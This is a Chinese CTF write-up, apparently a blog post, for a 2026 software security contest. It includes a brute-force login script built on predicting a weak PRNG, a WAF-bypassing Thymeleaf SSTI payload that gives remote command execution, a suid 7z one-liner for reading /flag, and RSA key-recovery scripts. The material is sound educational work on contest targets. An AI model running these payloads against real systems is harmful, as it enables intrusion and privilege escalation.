软件系统安全赛2026 初赛writeup

软件系统安全赛2026 初赛writeup

说是软件系统赛,本来以为是 re pwn✌ 发力的比赛,没想到反而是 web 的难度还挺高的
另一道 web 题 auth 没打出来,赛后看另一队的师傅用了一个 http CRLF 打 redis 的思路,没想到 urllib 也能这么打。这里没有做后续复现了,大概的思想和这篇文章是一致的利用 HTTP 攻击 Redis | Noel's Blog

Web

thymeleaf

有 admin 账户,所有密码都是随机生成,包括 admin

public PseudoRandomGenerator(long seed) {
    this.state = seed & 281474976710655L;
    if (this.state == 0L) {
        this.state = 190085268090081L;
    }

}

public long next() {
    long feedback = (this.state >> 47 ^ this.state >> 46 ^ this.state >> 43 ^ this.state >> 42) & 1L;
    this.state = (this.state >> 1 | feedback << 47) & 281474976710655L;
    return this.state;
}

@Autowired
public RandomService(UserRepository userRepository) {
    this.userRepository = userRepository;
    this.passwordEncoder = new BCryptPasswordEncoder();
    SecureRandom random = new SecureRandom();
    long rawSeed = (long)random.nextInt() << 32 | (long)random.nextInt() & 4294967295L;
    this.seed = rawSeed & 281474976710655L;
    this.prng = new PseudoRandomGenerator(this.seed);

    for(int i = 0; i < 9; ++i) {
        this.prng.next();
    }

    this.adminPassword = this.prng.next();
}

public void initAdminUser() {
    this.userRepository.deleteAll();
    String plainPassword = String._format_("%016d", this.adminPassword % 10000000000000000L);
    String hashedPassword = this.passwordEncoder.encode(plainPassword);
    User admin = new User("admin", hashedPassword, "ADMIN");
    this.userRepository.save(admin);

    for(int i = 1; i <= 5; ++i) {
        String username = "user" + i;
        long userPlainPassword = this.prng.next();
        String userPasswordStr = String._format_("%016d", userPlainPassword % 10000000000000000L);
        String userHashedPassword = this.passwordEncoder.encode(userPasswordStr);
        User user = new User(username, userHashedPassword, "USER");
        this.userRepository.save(user);
    }

}

容易想到,passoword 是可预测的,那 admin 的密码也是可预测的

注册账户获得的密码会泄露 prng 的输出,第一次注册得到的密码是 user6,可以通过倒推得到一系列的密码候选做 fuzz 来确定管理员

import requests


url = "http://728f7c1b-4979-4d5f-98bf-6c8083e2be43.43.dart.ccsssc.com/"
observed_password = "0177120150808985"

MASK = (1 << 48) - 1

def prev_states(cur: int):
    upper = (cur & ((1 << 47) - 1)) << 1
    out = []
    for b0 in (0, 1):
        prev = upper | b0
        fb = ((prev >> 47) ^ (prev >> 46) ^ (prev >> 43) ^ (prev >> 42)) & 1
        if fb == ((cur >> 47) & 1):
            out.append(prev)
    return out

cur = int(observed_password)
states = {cur}
for _ in range(6):
    new_states = set()
    for s in states:
        new_states.update(prev_states(s))
    states = new_states

result = sorted(f"{s % 10**16:016d}" for s in states)
for i in result:
    data = {
        "username": "admin",
        "password": i
    }
    print(f"testing password:{i}")
    r = requests.post(url+"dologin", data=data,allow_redirects=False)
    if r.status_code == 302:
        print(f"[+]find password:{i}")
        
#[+]find password:0076690583348807

拿到管理员后看管理员面板

@GetMapping({"/admin"})
public String adminPage(HttpSession session, @RequestParam(required = false,defaultValue = "main") String section, Model model) {
    String username = (String)session.getAttribute("username");
    if (!"admin".equals(username)) {
        return "redirect:/";
    } else {
        String templatePath = "admin :: " + section;
        return templatePath;
    }
}

section 可控,可以打一个 ssti

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("ls").getInputStream()).next()}__::.x
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22ls%22).getInputStream()).next()%7d__::.x

打不通,要绕过一下

Waf: T() new

可以使用#response.setHeader 的方式来做回显,这样就不用盲注

找了一个编码的 payload

import base64
import requests

BASE = "http://ac3857ae-0ff6-419c-8343-fffcc5a907d6.82.dart.ccsssc.com"
ADMIN_PASSWORD = "0093256444613618"

command = [
    "whoami",
    "ls -al /",
]

payload = "__|$${#response.setHeader('Xb64',''+(''.getClass().forName('java.lang.Process').getMethod('waitFor').invoke(#p=(New java.lang.ProcessBuilder()).command('sh','-c','"+command[0]+"').redirectErrorStream(true).start())!=null ? ''.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(''.getClass().forName('java.io.InputStream').getMethod('readAllBytes').invoke(''.getClass().forName('java.lang.Process').getMethod('getInputStream').invoke(#p))) : 'Z'))}|__::main"

s = requests.Session()
s.trust_env = False

r = s.post(
    BASE + "/dologin",
    data={"username": "admin", "password": ADMIN_PASSWORD},
    allow_redirects=False,
    timeout=15,
)
print("login:", r.status_code)

r = s.get(
    BASE + "/admin",
    params={"section": payload},
    timeout=30,
)

b64 = r.headers.get("Xb64") or r.headers.get("Xb64".title())
print(base64.b64decode(b64).decode())

/flag 需要 root 权限,尝试 suid 提权

有一个 7z 比较奇怪,可以尝试构造提权

可以利用 7z 将 flag 文件打包成 tar 流再直接解包,这样就能回显内容

7z a -ttar -an -so /flag | 7z e -ttar -si -so
dart{3ad8ec59-31b0-4afe-9508-03070d4b3fcd}

Crypto

rsa

level1

  1. key-1key-2 共因子,可以 gcd(n1, n2) 直接分解。
  2. key-4key-15 共因子,同样直接分解。
  3. key-6key-17 存在超小私钥,Wiener 直接恢复 d
  4. generate-plaintexts.py 伪装成 Asmuth-Bloom,但实际只是给出 S mod d_i。只要拿到足够多的 (d_i, S mod d_i),直接 CRT 就能还原原文。
from math import gcd, isqrt
from pathlib import Path

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, inverse, long_to_bytes
from sympy.ntheory.modular import crt

BASE = Path(__file__).resolve().parent / "level1"

def continued_fraction(numerator: int, denominator: int):
    while denominator:
        q = numerator // denominator
        yield q
        numerator, denominator = denominator, numerator - q * denominator

def convergents(cf_terms):
    n0, d0 = 1, 0
    n1, d1 = cf_terms[0], 1
    yield n1, d1
    for a in cf_terms[1:]:
        n0, n1 = n1, a * n1 + n0
        d0, d1 = d1, a * d1 + d0
        yield n1, d1

def wiener_attack(n: int, e: int):
    cf = list(continued_fraction(e, n))
    for k, d in convergents(cf):
        if k == 0 or (e * d - 1) % k:
            continue
        phi = (e * d - 1) // k
        s = n - phi + 1
        delta = s * s - 4 * n
        if delta < 0:
            continue
        root = isqrt(delta)
        if root * root != delta or (s + root) & 1:
            continue
        p = (s + root) // 2
        q = (s - root) // 2
        if p * q == n:
            return d, p, q
    raise ValueError("Wiener attack failed")

def load_pub(index: int):
    return RSA.import_key((BASE / f"key-{index}.pem").read_bytes())

def decrypt_oaep(cipher_name: str, key_index: int, priv: RSA.RsaKey):
    pub = load_pub(key_index)
    data = (BASE / cipher_name).read_bytes()
    key_len = (pub.n.bit_length() + 7) // 8
    aes_key = PKCS1_OAEP.new(priv).decrypt(data[:key_len])
    nonce = data[key_len:key_len + 12]
    body = data[key_len + 12:-16]
    tag = data[-16:]
    return AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(body, tag)

def decrypt_raw(cipher_name: str, key_index: int, d: int):
    pub = load_pub(key_index)
    data = (BASE / cipher_name).read_bytes()
    key_len = (pub.n.bit_length() + 7) // 8
    header = bytes_to_long(data[:key_len])
    aes_key = long_to_bytes(pow(header, d, pub.n), 16)
    nonce = data[key_len:key_len + 12]
    body = data[key_len + 12:-16]
    tag = data[-16:]
    return AES.new(aes_key, AES.MODE_GCM, nonce=nonce).decrypt_and_verify(body, tag)

def main():
    pub1 = load_pub(1)
    pub2 = load_pub(2)
    shared_12 = gcd(pub1.n, pub2.n)
    q1 = pub1.n // shared_12
    d1 = inverse(pub1.e, (shared_12 - 1) * (q1 - 1))
    priv1 = RSA.construct((pub1.n, pub1.e, d1, shared_12, q1))

    pub4 = load_pub(4)
    pub15 = load_pub(15)
    shared_45 = gcd(pub4.n, pub15.n)
    q4 = pub4.n // shared_45
    d4 = inverse(pub4.e, (shared_45 - 1) * (q4 - 1))
    priv4 = RSA.construct((pub4.n, pub4.e, d4, shared_45, q4))

    d6, _, _ = wiener_attack(load_pub(6).n, load_pub(6).e)
    d17, _, _ = wiener_attack(load_pub(17).n, load_pub(17).e)

    plaintexts = [
        decrypt_raw("ciphertext-2.bin", 6, d6).decode().splitlines(),
        decrypt_oaep("ciphertext-3.bin", 4, priv4).decode().splitlines(),
        decrypt_raw("ciphertext-5.bin", 17, d17).decode().splitlines(),
        decrypt_oaep("ciphertext-8.bin", 1, priv1).decode().splitlines(),
    ]

    print("[+] message1 =", plaintexts[0][0])
    recovered = {1: plaintexts[0][0]}
    for i in range(1, len(plaintexts[0])):
        moduli = []
        residues = []
        bits = None
        for pt in plaintexts:
            modulus, residue, bits = [int(x, 16) for x in pt[i].split(":")]
            moduli.append(modulus)
            residues.append(residue)
        secret, _ = crt(moduli, residues)
        secret_bytes = int(secret).to_bytes((bits + 7) // 8, "big")
        recovered[i + 1] = secret_bytes.decode("utf-8")
        print(f"[+] message{i + 1} = {recovered[i + 1]}")

    password = "9Zr4M1ThwVCHe4nHnmOcilJ8"
    print("[+] level2 password =", password)

if __name__ == "__main__":
    main()

level2

这里表面上不是标准 Wiener,因为代码里用了:

lam = lcm(p - 1, q - 1)
e = invert(d, lam)

也就是说 e * d ≡ 1 (mod λ(n)),而不是直接对 φ(n)

但是出题人又给了一个已知明文:

m1 = bytes_to_long(b"Secret message: " + b"A" * 16)
c1 = pow(m1, e, n)

所以可以:

  1. e / n 做 continued fraction。
  2. 枚举收敛分母 den 以及 den / g 这种小因子修正。
  3. 直接检查 pow(c1, d_candidate, n) == m1

这样就能在不需要标准 Wiener 判别式的情况下,直接筛出正确私钥

拿到 d 之后,利用 k = e*d - 1λ(n) 的倍数,走标准 RSA 私钥恢复里的随机平方根分解即可拿到 p, q

import hashlib
from math import gcd
from pathlib import Path

from Crypto.Util.number import bytes_to_long

BASE = Path(__file__).resolve().parent / "level2_dec"

n = 99573363048275234764231402769464116416087010014992319221201093905687439933632430466067992037046120712199565250482197004301343341960655357944577330885470918466007730570718648025143561656395751518428630742587023267450633824636936953524868735263666089452348466018195099471535823969365007120680546592999022195781
e = 12076830539295193533033212232487568888200963123024189287629493480058638222146972496110814372883829765692623107191129306190788976704250502316265439996891764101447017190377014980293589797403095249538391534986638973035285900867548420192211241163778919028921502305790979880346050428839102874086046622833211913299
c1 = 88537483899519116785221065592618063396859368769048931371104532271282451393564912999388648867349770059882231896252136530442609316120059139869000411598215669228402275014417736389191093818032356471508269901358077592526362193180661405990147957408129845474938259771860341576649904811782733150222504695142224907008

def continued_fraction(numerator: int, denominator: int):
    while denominator:
        q = numerator // denominator
        yield q
        numerator, denominator = denominator, numerator - q * denominator

def convergents(cf_terms):
    n0, d0 = 1, 0
    n1, d1 = cf_terms[0], 1
    yield n1, d1
    for a in cf_terms[1:]:
        n0, n1 = n1, a * n1 + n0
        d0, d1 = d1, a * d1 + d0
        yield n1, d1

def recover_small_d():
    m1 = bytes_to_long(b"Secret message: " + b"A" * 16)
    cf = list(continued_fraction(e, n))
    for _, den in convergents(cf):
        candidates = {den}
        for g in range(2, 2000):
            if den % g == 0:
                candidates.add(den // g)
        for d in candidates:
            if d > 1 and pow(c1, d, n) == m1:
                return d
    raise ValueError("failed to recover d")

def factor_from_ed(d: int):
    k = e * d - 1
    t = k
    s = 0
    while t % 2 == 0:
        t //= 2
        s += 1
    for a in range(2, 128):
        x = pow(a, t, n)
        if x in (1, n - 1):
            continue
        for _ in range(s - 1):
            y = pow(x, 2, n)
            if y == 1:
                p = gcd(x - 1, n)
                q = n // p
                if p * q == n:
                    return p, q
            if y == n - 1:
                break
            x = y
    raise ValueError("failed to factor n")

def main():
    d = recover_small_d()
    p, q = factor_from_ed(d)
    next_pass = hashlib.sha256(str(p + q).encode()).hexdigest()
    print("[+] d =", d)
    print("[+] p =", p)
    print("[+] q =", q)
    print("[+] level3 password =", next_pass)

if __name__ == "__main__":
    main()

level3

Python 运算符优先级里,+ 高于 ^,所以:

leak = (A + ((p + q) % 2^128)) ^ (n & ((1 << 64) - 1))

其中:

A = (p * CONST1) ^ (q * CONST2) ^ ((p & q) << 64) ^ ((p | q) << 48) ^ ((p ^ q) * CONST3)

于是:

target = leak ^ (n & MASK64) = A + ((p + q) % 2^128)

这个式子最大的价值在于:

  1. n mod 2^k 只依赖 p, q 的低 k 位。
  2. target mod 2^k 也只依赖 p, q 的低 k 位。

所以可以做一个从低位向高位的 bit lifting:

  1. 初始 p ≡ q ≡ 1 (mod 2)

  2. 每次尝试补一位 p_bit, q_bit

  3. 检查是否同时满足:

    • (p * q) mod 2^(k+1) == n mod 2^(k+1)
    • expr(p, q) mod 2^(k+1) == target mod 2^(k+1)
  4. 继续扩展到 1536 位。

这题的约束非常强,整个过程中候选始终只有 1 个,最终直接还原出完整 p, q

from Crypto.Util.number import inverse, long_to_bytes

n = 3656543170780671302102369785821318948521533232259598029746397061108006818468053676291634112787611176554924353628972482471754519193717232313848847744522215592281921147297898892307445674335249953174498025904493855530892785669281622228067328855550222457290704991186404511294392428626901071668540517391132556632888864694653334853557764027749481199416901881332307660966462957016488884047047046202519520508102461663246328437930895234074776654459967857843207320530170144023056782205928948050519919825477562514594449069964098794322005156920839848615481717184615581471471105167310877784107653826948801838083937060929103306952084786982834242119877046219260840966142997264676014575104231122349770882974818427591538551719990220347345614399639643257685591321500648437402084919467346049683842042993975696447711080289559063959271045082506968532103445241637971734173037224394103944153692310048043693502870706225319787902231218954548412018259
e = 65537
c = 1757914668604154089701710446907445787512346500378259224658947923217272944211214757488735053484213917067698715050010452193463598710989123020815295814709518742755820383364097695929549366414223421242599840755441311771835982431439073932340356341636346882464058493459455091691653077847776771631560498930589569988646613218910231153610031749287171649152922929066828605655570431656426074237261255561129432889318700234884857353891402733791836155496084825067878059001723617690872912359471109888664801793079193144489323455596341708697911158942505611709946252101670450796550313079139560281843612045681545992626944803230832776794454353639122595107671267859292222861367326121435154862607517890329925621367992667728899878422037182817860641530146234730196633237339901726508906733897556146751503097127672718192958642776389691940671356367304182825433592577899881444815062581163386947075887218537802483045756886019426749855723715192981635971943
leak = 153338022210585970687495444409227961261783749570114993931231317427634321118309600575903662678286698071962304436931371977179197266063447616304477462206528342008151264611040982873859583628234755013757003082382562012219175070957822154944231126228403341047477686652371523951028071221719503095646413530842908952071610518530005967880068526701564472237686095043481296201543161701644160151712649014052002012116829110394811586873559266763339069172495704922906651491247001057095314718709634937187619890550086009706737712515532076

CONST1 = 0xDEADBEEFCAFEBABE123456789ABCDEFFEDCBA9876543210
CONST2 = 0xCAFEBABEDEADBEEF123456789ABCDEF0123456789ABCDEF
CONST3 = 0x123456789ABCDEFFEDCBA9876543210FEDCBA987654321
MASK64 = (1 << 64) - 1

def expr(p: int, q: int):
    return (
        (p * CONST1)
        ^ (q * CONST2)
        ^ ((p & q) << 64)
        ^ ((p | q) << 48)
        ^ ((p ^ q) * CONST3)
    ) + ((p + q) % (1 << 128))

def recover_factors():
    target = leak ^ (n & MASK64)
    candidates = [(1, 1)]
    for bit in range(1, 1536):
        mod = 1 << (bit + 1)
        n_mod = n % mod
        target_mod = target % mod
        next_candidates = []
        seen = set()
        for p_low, q_low in candidates:
            for p_bit in (0, 1):
                for q_bit in (0, 1):
                    p_try = p_low + (p_bit << bit)
                    q_try = q_low + (q_bit << bit)
                    if (p_try * q_try) % mod != n_mod:
                        continue
                    if expr(p_try, q_try) % mod != target_mod:
                        continue
                    if (p_try, q_try) not in seen:
                        seen.add((p_try, q_try))
                        next_candidates.append((p_try, q_try))
        candidates = next_candidates
        if not candidates:
            raise ValueError(f"dead at bit {bit + 1}")
    for p, q in candidates:
        if p * q == n:
            return p, q
    raise ValueError("exact factors not found")

def main():
    p, q = recover_factors()
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    flag = long_to_bytes(pow(c, d, n)).decode()
    print("[+] p =", p)
    print("[+] q =", q)
    print("[+] flag =", flag)

if __name__ == "__main__":
    main()
posted @ 2026-03-17 14:06  xNftrOne  阅读(250)  评论(0)    收藏  举报